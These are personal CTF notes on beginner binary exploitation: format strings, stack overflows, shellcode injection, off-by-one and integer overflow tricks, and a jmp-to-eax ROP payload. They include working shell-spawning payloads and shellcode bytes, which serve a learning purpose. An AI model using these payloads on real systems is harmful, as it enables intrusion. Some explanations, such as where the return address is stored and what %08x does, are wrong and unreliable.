Notes on Introductory Binary Exploit

Yicheng Wang

2014-11-10

1 The idea of a stack

When the following program runs, when the machine encounters fred(i), it will need to take a detour away from the main function into the function fred, but after fred returns, it will need to go back to the main function. The way the machine does this is by pushing the memory address of the next line in the main program (i.e. printf("%s",name);) onto what is known as a stack, or a temporary storage device. This way, when fred finished running, the main function can continue as before. The return address is saved in the register %eip of the program. Note that the machine will try to go ahead and call whatever is stored in %eip, so if there is a non-existing address, it will return an error.

```
...
int i = 3;
char name[3];

fred(i);
printf("%s",name);
...
...
void fred(int i) {
...
}
```

2 Format and Guess – Format Sting Exploit

This is a bug that is much easier to prevent than buffer overflow and occurs a lot less frequently. This is a bug caused by bad programming in something like the following:

```
#include<stdio.h>

int main(int argc, char **argv) {
    printf(argv);
    return 0;
}
```

Of course this is a simplification, but the gist is that the program prints an user-input string without checking its content. Therefore the user can insert string formatting tokens such as %x, %s, and %n to read and write at certain memory locations, as exemplified below.

2.1 Guess

This was the easier question IMO, mainly because all one needed to do is to know what the secret is. In the source code, a blantant source of exploit is on line 19 when it prints your name without checking its content. This gives you an opportunity to use a clever name to know the secret. The format token %x can be used to leak the memory addresses on the stack and therefore get knowledge as to what the secret is. The name should consists of several %08x.'s, the dots are in place to seperate different memory addresses. Run a few times, the thing that changes is secret (because that is the only parameter that differs from run to run) and then enter the secret!

2.2 Format

This question to me was harder because it requires the use of 3 format tokens and required the user to write into the stack directly. In this program, the vulnerability lies within line 15, where it prints the user input without any checking. We need to first discover the location of secret on the stack. To do this, we can use the %08x in combination with the %s operator. The %s operator prints the thing that is currently on the top of the stack as a string, while the %08x operator pop 8 things off of the string at a time. Therefore we just increase the amount of %08x. from %08x.%s until %s returns null instead of some non-ascii character.

When %s returns null, it means that we've reach the memory location of secrets, this is where %n comes in. The token %n writes onto the current memory location the amount of bytes that has already been entered. Therefore, when %s returns null, substitute it with %n and rearrange the coefficients of %x such that they sum up to 1337 - number-of-x's. That should start a shell!

3 Overflow 1 and 2 – The basics of overflowing

3.1 Overflow 1

First off, the source code:

```
1
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <string.h>
5 void give_shell(){
6     gid_t gid = getegid();
7     setresgid(gid, gid, gid);
8     system("/bin/sh -i");
9 }
10
11 void vuln(char *input){
12     char buf[16];
13     int secret = 0;
14     strcpy(buf, input);
15     if (secret == 0xc0deface) {
16         give_shell();
```

```
17      }
18      else {
19          printf("The secret is %x\n", secret);
20      }
21  }
22
23  int main(int argc, char **argv) {
24      if (argc > 1)
25          vuln(argv[1]);
26      return 0;
27  }
```

What's nice about this problem is that it provides you with a stack diagram. Therefore one only needs to craft something that would overflow the buffer and overwrite secrets. Buffer is 16 bytes, so the first 16 bytes of the input string determines the content of buffer, this doesn't matter so we can fill this part up with garbage. The next four bytes determine the value of secrets. It is important to note that this machine uses little endian system and therefore the desirable value should be entered backwards, i.e. " \xce\xfa\xde\xc0" instead of "\xc0\xde\xfa\xce". To craft this ascii string, one tool we can use is scripting languages such as pythong. Therefore just type the following into the cmd and you'll be home free! $ python -c 'print "A"*16 + "\xce\xfa\xde\xc0"' |./overflow1

That will crack open a shell!

3.2 Overfow 2

Pretty much the same as Overflow 1, with a few exceptions:

1. This problem uses the fact that %eip points to the memory address of the function that is "next-in-line."

2. We need to find the memory address of give_shell(), which can be done using 'objdump -d ./overflow2 |grep "give_shell"'

The rest will be left as an exercise to the reader!

4 Misellaneous Questions – ExecuteMe and OBO and Netsino

ExecuteMe and OBO are two troll questions... IMO they worth a lot more than 80 and 90 points, can be easily put into the scales of Netsino (i.e. around 120). More than anything these three problems tests your basic understanding of C and memory stuff. I have no idea where to put them so here!

4.1 ExecuteMe

I still have no idea how this thing compiled...

That being said, I did have an idea of what it should do. Basically it takes the input string and casts it as a void function pointer. Therefore the string should be made up of "opcodes," or operation codes. These are the hex numbers that acutally encode what the processor would do. Therefore the obvious thing to do is put in an opcode that would open up a shell, they can be found in abundance here: http://shell-storm.org/shellcode/

The shellcode I used for this one is here:

```
1 \x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\
    x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80
```

However, there is one small problem, we would like to use the shell, therefore it is necessary to keep stdin open. We do this using the unix "cat" command. Therefore, the real thing is as follows:

```
1 $ cat <(python -c 'print "\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd
    \x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\
    x0b\xcd\x80"') - | ./execute
```

4.2 OBO

This problem is a very troll problem. First thing that is noticable is the amount of out-of-bound errors this guy is making. One should not use less than or equal to in a for loop with the size of the array as the parameter. Therefore you see that "G" and "g" are assigned values of 16, ":" is assigned the value of 10, same as "a," while hex_table[256] is assigned -1 (The f**k??)

The reason why this thing compiles despite its blatant out-of-bound errors is the way C functions. When an index that is out of bounds is called, C just pretends the array goes on and on and assigns a value to where this "element" of the array is supposed to be. Therefore, hex_table[256] is just some random memory address 8 bytes after the last element of hex_table.

The use of this out-of-range "assignment" comes when the program checks for the "complexity" of your new password. It assigns the hex value's index to 1 if that character is present. Curiously enough, what if "g" or "G" was in your data stream? And a simple test shows that they will overwrite digits[16] to be 1! However, as we see in the declaration of variables, password is right after digits! That means by adding a bunch og "g"'s to your new password, it'll rewrite the old password to "\x01" and give you access to change password.py.

This should work right? BUT NO!! This is what you get:

```
1 $ { python -c 'print "0123456789abcdefg"' ; python -c 'print "\x01"' ; } | ./
    obo
2 New password: Confirm old password: Not yet implemented.
3 Password changed!
```

The heck??? Turns out set_password.py just prints out "Not yet implemented."

Here's the troll part, since set_password.py gets full admin access, the trick is to create your own set_password.py in the home directory and run the whole thing from there. Your own set_password.py includes opening flag.txt, reading it and printing out the results, it should end up looking like this:

```
#!/usr/bin/python

f = open("/home/obo/flag.txt","r").read()

print f
```

And the final command line execution:

```
~$ { python -c 'print "0123456789abcdefg"' ; python -c 'print "\x01"' ; } | /home/obo/obo
```

That should work.

4.3 Netsino

As scary as this one looks, it's not that bad. The trick here is the idea of integer overflow. The bet is a positive long integer, but as we know, integers wrap around because there are only 32 bytes allocated for each integer. The first byte is called a sign-byte, if it's 1, the number is positive, else, it's negative. Therefore the largest allowable number is $2^{31} - 1$ (because the existance of 0), everything greater than that will wrap around into the realm of negatives.

For example, 2^{31} will actually return $-(2^{31})$ because it wraps around.

The trick to this problem is precisely that, enter a huge number, lose, and let the boss pay the debt, happy gambling! :D

5 Return Oriented Programming

This section will cover every binary exploit question after Netsino. They will employ different protection mechanisms to protect against basic overflow attacks, but they still have weaknesses.

5.1 ROP 1 – ASLR

ASLR stands for Address Space Layout Randomization, what it does is that it randomly assigns memory address to the stack, executable, heap and libraries. For example, the function "system," is usually located at 0xf7e5c100, but with ASLR, that address can be anywhere.

This makes certain shellcodes that perdicts the location of libc functions unusable because their location is randomized each time. However, maybe we don't need to call libc functions. This program is exploitable in that it loads the input buffer into a register (%eax). This requires a little searching, but is not that hard to get. %eax can then be called by functions defined within the program.

The basic idea is that the input buffer will be loaded with shell code followed by a trailing NOP sled until the buffer overflows into %esp. When it overflows into %esp, we point %esp to (write the value of %esp as) to a command along the lines of jmp/call *%eax. Note that %esp is what get transferred into %eip, and then the program will execute your input as actual instructions and KABOOM you get a shell.

Now how exactly are we going to implement that? First off, we need to find a way to overflow %esp and to find the beginning of the input buffer stream. The way I like to do it is to spam input with "A"'s and append 4 "B"'s to the end until the value of %esp becomes 0x42424242 (4 B's in hex). There are other ways of doing this, but for the purpose of CTF's, it's sufficient to just be lazy and spam your way through the competititon.

The real code looks something like this:

```
$ gdb rop1
(gdb) disass vuln
Dump of assembler code for function vuln:
0x08048e6d <+0>:    push   %ebp
0x08048e6e <+1>:    mov    %esp,%ebp
0x08048e70 <+3>:    sub    $0x58,%esp
0x08048e73 <+6>:    mov    0x8(%ebp),%eax
0x08048e76 <+9>:    mov    %eax,0x4(%esp)
0x08048e7a <+13>:   lea    -0x48(%ebp),%eax
0x08048e7d <+16>:   mov    %eax,(%esp)
0x08048e80 <+19>:   call   0x80481e0
0x08048e85 <+24>:   leave
0x08048e86 <+25>:   ret
End of assembler dump.
(gdb) b *0x08048e86
Breakpoint 1 at 0x8048e86
(gdb) run $(python -c 'print "A"*76 + "B"*4')
Starting program: /home/rop1/rop1 $(python -c 'print "A"*68 + "B"*4')

Breakpoint 1, 0x08048e86 in vuln ()
(gdb) x $esp
0xffffd6ac: 0x42424242
```

Volia, we get that we need 76 bytes of shellcode + NOP sled to get to %esp. Now we need to find the memory location or one jmp/call *%eax and that's what we'll put into%esp.

To do this, we summon our old friend "grep":

```
$ objdump -d ./rop1 | grep "*%eax"
8048d86:    ff d0                   call   *%eax
8048df4:    ff d0                   call   *%eax
8048e3c:    ff d0                   call   *%eax
8049691:    ff d0                   call   *%eax
804a546:    ff d0                   call   *%eax
... ...     ... ...                  ...     ...
```

The list goes on, but we only need the first one. Now let's craft the input payload:

```
                shellcode to get /bin/sh      NOP sled          call *%eax
python -c 'print "\x6a\x18\x58\xcd\x80\       "\x90"*42 +       "\x86\x8d\x04\x08"    ' |./rop1
                 x50\x50\x5b\x59\x6a\x46\
                 x58\xcd\x80\x50\x68\x2f\
                 x2f\x73\x68\x68\x2f\x62\
                 x69\x6e\x89\xe3\x99\x31\
                 xc9\xb0\x0b\xcd\x80" +
```

That should give you a shell!

5.2 What the Flag – Cookies

This problem *tries* to prevent buffer overflow by the use of cookies, or canaries. These things work by inserting certain set buffer values within different parts of the stack. And when the program is executed, it will check the cookies values after each action to see if they have been changed (probably due to a buffer overflow). If they have, the cookies ceashes the program. The way to get around this is to see